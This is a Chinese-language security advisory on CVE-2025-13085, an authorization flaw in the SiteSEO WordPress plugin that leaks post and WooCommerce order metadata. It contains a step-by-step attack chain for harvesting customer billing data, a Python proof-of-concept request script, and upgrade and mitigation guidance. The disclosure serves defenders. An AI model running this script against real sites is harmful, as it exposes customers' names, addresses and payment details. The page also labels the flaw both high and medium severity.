IPBUF安全漏洞报告
English
CVE-2025-13085 CVSS 4.3 中危

CVE-2025-13085 SiteSEO WordPress插件未授权敏感数据泄露漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-13085
漏洞类型
不正确的授权/敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SiteSEO – SEO Simplified WordPress插件

相关标签

暂无标签

漏洞概述

CVE-2025-13085是WordPress SiteSEO插件中的一个高危安全漏洞,CVSS评分4.3(中等严重性)。该漏洞存在于SiteSEO插件的AJAX处理程序中,由于缺少对象级授权检查(Object-level Authorization),导致具有低权限的攻击者可以绕过正常的访问控制机制,读取任意文章、页面、附件或WooCommerce订单的元数据信息。此漏洞影响版本至1.3.2,攻击者需要拥有siteseo_manage能力(如作者级别用户),并且需要管理员为该用户授予SiteSEO访问权限。在受影响的WooCommerce安装中,此漏洞会暴露敏感的客户账单信息,包括姓名、电子邮件地址、电话号码、物理地址和支付方式等,对用户隐私和数据安全构成严重威胁。

技术细节

漏洞根源在于SiteSEO插件的resolve_variables() AJAX处理程序(ajax.php#L542)中缺少适当的权限验证。该函数允许用户通过AJAX请求解析和获取文章的元数据变量,但未正确验证请求者是否具有访问目标文章元数据的权限。攻击者只需具备siteseo_manage能力(通常为作者级别用户),即可利用custom field variable resolution功能,通过构造特定的AJAX请求,指定目标文章的ID和要获取的元数据字段名称,从而绕过授权检查直接读取敏感信息。此外,漏洞利用还需要满足legacy storage功能已启用的条件。攻击流程为:攻击者通过WordPress后台获取siteseo_manage权限后,构造恶意AJAX请求调用resolve_variables函数,指定目标文章/订单ID和元数据键名,即可获取存储在WordPress postmeta表中的敏感数据。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标WordPress网站并确认安装了SiteSEO插件(版本<=1.3.2),通过查看页面源代码或使用wpscan等工具探测插件版本
STEP 2
2. 获取初始访问权限
攻击者通过常规手段(如弱口令、钓鱼或利用其他漏洞)获取WordPress用户账户,需要该账户具有siteseo_manage能力(通常为Author级别或更高)
STEP 3
3. 权限提升准备
确保目标账户已被管理员授予SiteSEO插件访问权限,并确认legacy storage功能已启用
STEP 4
4. 构造恶意请求
攻击者构造AJAX请求到wp-admin/admin-ajax.php,指定action为siteseo_pro_resolution,并指定目标文章ID和要窃取的元数据键名
STEP 5
5. 触发漏洞
发送构造的AJAX请求,resolve_variables()函数因缺少对象级授权检查而直接返回目标文章的元数据内容
STEP 6
6. 数据窃取
攻击者遍历不同文章ID和元数据键名,批量获取敏感信息,包括WooCommerce订单中的客户姓名、邮箱、电话、地址、支付方式等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13085 PoC - SiteSEO Unauthorized Metadata Disclosure # Target: WordPress site with SiteSEO plugin <= 1.3.2 def exploit_siteseo_cve_2025_13085(target_url, wp_admin_cookie): """ Exploit for SiteSEO improper authorization vulnerability Allows authenticated users with siteseo_manage capability to read arbitrary post metadata """ # Target endpoint for AJAX request ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare payload to read arbitrary post metadata # This exploits the resolve_variables() function lacking authorization checks payload = { 'action': 'siteseo_pro_resolution', 'post_id': 'TARGET_POST_ID', # Target post/order ID to read metadata from 'variable': 'meta_key_to_exploit', # e.g., _billing_email, _billing_phone, etc. 'post_type': 'post' # or 'shop_order' for WooCommerce } headers = { 'Cookie': wp_admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(ajax_url, data=payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request successful - Metadata disclosure possible") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13085.py <target_url> <wp_admin_cookie>") print("Example: python cve-2025-13085.py http://example.com 'wordpress_logged_in_xxx=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_siteseo_cve_2025_13085(target, cookie)

影响范围

SiteSEO – SEO Simplified WordPress插件 <= 1.3.2

防御指南

临时缓解措施
立即将SiteSEO插件升级到版本1.3.3或更高版本。如果无法立即升级,可采取以下临时缓解措施:1)撤销所有非管理员用户的siteseo_manage能力;2)禁用legacy storage功能;3)限制WordPress管理后台访问(IP白名单或VPN);4)启用Web应用防火墙(WAF)规则检测异常的AJAX请求模式;5)监控WordPress日志中的可疑admin-ajax.php请求。同时建议检查WooCommerce订单数据是否已被非法访问,并通知可能受影响的客户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表